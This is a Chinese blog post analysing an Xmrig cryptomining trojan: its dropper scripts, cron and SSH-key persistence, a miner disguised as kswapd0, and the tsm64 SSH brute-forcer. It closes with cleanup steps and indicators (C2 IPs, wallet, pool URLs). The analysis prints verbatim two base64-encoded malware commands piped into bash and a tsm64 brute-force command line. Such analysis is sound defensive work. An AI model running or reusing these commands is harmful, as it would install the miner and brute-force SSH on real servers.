Xmrig挖矿木马之暴力分析!

Posted 李志宽

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Xmrig挖矿木马之暴力分析!相关的知识,希望对你有一定的参考价值。

前提:某天腾讯云发来一封邮件来提醒,自己的服务器中木马了。根据邮件中的提示,把疑似木马的程序tsm64拷贝下来,上传到vt上,确认是木马。好了,开始分析它。

一、初步定位恶意程序在系统中的痕迹

首先,通过命令“find / -name “tsm64” “全局搜索这个恶意样本存储在哪个目录,最后在/tmp/.X25-unix/.rsync/c目录下发现了它。浏览整个.rsync目录,发现都是恶意样本相关的文件,于是将其打包下载到本地进行分析。对该目录的子目录和文件进行分析,得到以下信息:

1. tddwrt7s.sh为起点,该脚本通过curl从远端下载dota3.tar.gz并解压,再调用initall进行初始化。

 

2. Initall脚本先执行init脚本,再执行init2脚本。init脚本将dota3.tar.gz解压出的.configrc目录复制到root目录下,并在后台执行a目录下的init0脚本(github上分享的一个专杀矿工进程的脚本)清除主机可能已经存在的矿工进程,后台运行a与b目录下的a脚本和c目录下的start脚本,再设置每分钟检查执行cron.d脚本(自己生成的),该脚本将a目录下upd脚本和b目录下的sync脚本设置为每次系统重启后执行。

 

3. Init2脚本前面的工作与init相同,略过 。

4. a目录下的upd脚本会执行run脚本,而run脚本会先执行stop脚本停止上一轮该系列脚本的工作(相当于为新一轮脚本执行做准备),重点是其会执行恶意的可执行文件kswapd0。在Linux中,kswapd0进程是用来管理虚拟内存的。kswapd0 移动内存的过程就会造成 CPU 的大量使用,所以该恶意程序通过伪装成kswapd0进程来规避管理员怀疑其大量耗用CPU资源的行为。

5. b目录下的run脚本会将一个固定ssh rsa密钥存储在 ~/.ssh/authorized_keys中实现持久化控制访问我的服务器。

 

6. C目录下的aptitude脚本执行go脚本,而go脚本会执行tsm脚本。Tsm脚本会根据服务器系统的位数而选择执行恶意可执行文件tsm32还是tsm64 。

.rsync目录下各脚本调用关系如下图所示:

 

二、静态分析

在服务器中执行top命令查看各进程对资源占用情况进行分析,发现一个叫”./kswapd0”的进程对CPU占用率99%。先分析kswapd0这个64位的可执行文件,通过ida的字符串搜索,发现字符串”https://xmrig.com/wizard”( xmrig 是用于 Monero (XMR) CPU 挖矿的)。同时还找到矿机的配置内容,了解了下社区中挖矿教程,可以知道其中的user字段即是该黑客的门罗钱包地址。结合对反编译后的伪代码分析,发现kswapd0的执行逻辑与数据和xmrig(ELF文件,下载地址
https://github.com/xmrig/xmrig/releases/download/v6.12.1/xmrig-6.12.1-linux-x64.tar.gz)极为相似,所以得出结论--kswapd0就是xmrig矿机。

 

 

那么就剩下tsm32/tsm64这组恶意程序还未知其功能,拖进ida里分析一下。

tsm64是一个64位ELF文件,先拖进ida里进行分析。从start函数里找到main函数的入口,点进去,F5失败,ida报错原因是这个函数太大了。在汇编窗口浏览代码,发现在函数开头有一条指令开辟了巨大的堆栈空间,“sub rsp, 3D6A58h”。尝试nop掉该指令,以及nop掉结尾处的“add rsp, 3D6A58h”指令。再次F5,还是无法反编译。没办法只能先看汇编了。汇编界面按空格查看流程图,发现下面有一段执行流疑似经过了平坦化处理。查看了一下负责分发的块,里面定义了一张地址表,按顺序执行表中的基本块。由于基本块数量较少,就一个个去看了。分析后得到的结果,loc_405022打印了一个负责扫描内外工具(命令行)的使用说明,loc_406257执行一组删除操作(目的是擦除入侵痕迹,删除的内容可以作为下一阶段追朔的线索),loc_40506C执行了“whoami“命令,其余基本块的作用都是通过strtol函数将一个字符串转化为一个十进制数然后写入到一个数组里,这里并没有找到字符串来源(应该是命令行参数输进来的),loc_404F37负责将一个标志置1(进入这个分发器前初始化为0,应该是为了判断有没有完成以上操作,在loc_406257中再次判断,如果不为0则离开这个分发器)。

 

 

根据逻辑如果正常执行到loc_406257,就会来到loc_4062BD。在这里,程序通过system函数执行命令"sort -R b > p; sort -R a > ip"。先不理会这个信息。在下一个块里,该程序对'/dev/tty'(是我们使用的控制终端)进行读取,可以查看到当前终端的显示内容。

sub_408680函数中实现了与45.9.148.125(查ip,发现是一个荷兰的服务器)建立ssh连接,以及读取文件v(作用未知)。sub_4099F0函数进行文件写入或者发送数据。到这里可以知道该恶意程序的一个恶意行为是读取文件v的内容然后发送给该远程服务器。

 

 

紧接着,该程序将从终端读取到的内容保存到变量s里

通过搜索字符串发现了两组恶意命令“echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjUtdW5peApjZCAuWDI1LXVuaXgKbXYgL3Zhci90bXAvZG90YTMudGFyLmd6IGRvdGEzLnRhci5negp0YXIgeGYgZG90YTMudGFyLmd6CnNsZWVwIDNzICYmIGNkIC5yc3luYzsgY2F0IC90bXAvLlgyNS11bml4Ly5yc3luYy9pbml0YWxsIHwgYmFzaCAyPjEmCnNsZWVwIDQ1cyAmJiBwa2lsbCAtOSBydW4gJiYgcGtpbGwgLTkgZ28gJiYgcGtpbGwgLTkgdHNtCmV4aXQgMA==" | base64 --decode | bash “和”echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjUtdW5peApjZCAuWDI1LXVuaXgKbXYgL3Zhci90bXAvZG90YTMudGFyLmd6IGRvdGEzLnRhci5negp0YXIgeGYgZG90YTMudGFyLmd6CnNsZWVwIDNzICYmIGNkIC90bXAvLlgyNS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyNS11bml4Ly5yc3luYy9jL3RzbSAtdCAxNTAgLVMgNiAtcyA2IC1wIDIyIC1QIDAgLWYgMCAtayAxIC1sIDEgLWkgMCAvdG1wL3VwLnR4dCAxOTIuMTY4ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDhtICYmIG5vaHVwIC90bXAvLlgyNS11bml4Ly5yc3luYy9jL3RzbSAtdCAxNTAgLVMgNiAtcyA2IC1wIDIyIC1QIDAgLWYgMCAtayAxIC1sIDEgLWkgMCAvdG1wL3VwLnR4dCAxNzIuMTYgPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgMjBtICYmIGNkIC4uOyAvdG1wLy5YMjUtdW5peC8ucnN5bmMvaW5pdGFsbCAyPjEmCmV4aXQgMA==" | base64 --decode | bash “,分别对它们base64的内容解密,结果如下:

 

可以看出,上面解密出来的脚本与.rsync和.configrc目录下的shell脚本作用基本是相同的。

三、动态分析

首先通过“./tsm64 -t 202 -f 1 -s 12 -S 9 -p 0 -d 1 p ip”命令执行一下tsm64,看一下有什么效果。Tsm64在执行过程中会产生a、b、p、ip和v五个文件,其中a和ip存储的都是IP地址以及端口号,而b和p存储的是由用户名和密码组成的字典。接下来,可以看到tsm64创建大量线程去连接ip中的服务器,并尝试爆破ssh的账号。

 

接下来,想知道ip这些文件是哪里来的,因为程序中和本地都没有它们存在。猜测是网络下载,于是打算跟踪connect函数的调用,发现程序最先与45.9.148.125建立连接。

 

而紧接着在完成与45.9.148.125 进行ssh连接建立的过程后,终于来到我们想看到的文件下载阶段。我们可以看到在接收的数据中有大段的IP地址,如下图所示。

 

后来,由发现在sub_409100函数中,该恶意程序随机选取下图中三个IP地址作为C2地址进行连接。

 

tsm64下载好这些文件后,打开文件p进行逐行读取,将里面的需要爆破的ip和端口读出。这里tsm64创建了五百多个线程去爆破目标。

 

创建文件v进行读取,如果读出数据,则发送到远端服务器。由于v文件一直为空,这一步一直无法验证。但是,基于以上的分析,可以猜出,v文件存储的是爆破结果。

 

四、清除方案

对于处理该挖矿木马,提出以下清除方案:

1. 通过crontab -e命令删除相关的四条定时任务。

2. 杀死kswapd0进程,如果tsm32、tsm64进程也存在的话也杀死。

3. 删除~/.configrc目录、/tmp/.X25-unix/.rsync目录、dota3.tar.gz文件,以及~/.ssh/authorized_keys文件。

4. 更新ssh的账号密码,因为该木马就是通过爆破ssh账号进来的。

五、特征总结

黑客的门罗钱包地址:483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS

矿工名:“x”

C2地址:45.9.148.125、45.9.148.129、和45.9.148.117

目标矿池地址:

1. "url": "debian-package.center:80"

2. "url": "[2a0e:fa00:0:5::1]:443"

3. "url": "[2a0e:fa00:0:5::1]:80"

4. "url": "45.9.148.129:80"

5. "url": "45.9.148.129:443"

6. "url": "45.9.148.117:80"

7. "url": "45.9.148.117:443"

8. "url": "45.9.148.58:80"

9. "url": "45.9.148.58:443"

10. "url": "45.9.148.59:80"

11. "url": "45.9.148.59:443"

推荐阅读:初出茅庐的铁头娃竟然拿到阿里、奇安信offer?原来是看了这份面试核心知识点(全程干货,必须收藏!)

以上是关于Xmrig挖矿木马之暴力分析!的主要内容,如果未能解决你的问题,请参考以下文章

Xmrig挖矿木马分析

记一次Xmrig挖矿木马排查过程

网络流量威胁-xmrig协议PCAP分析

挖矿木马分析之肉鸡竟是我自己

挖矿木马分析之肉鸡竟是我自己

挖矿木马分析之肉鸡竟是我自己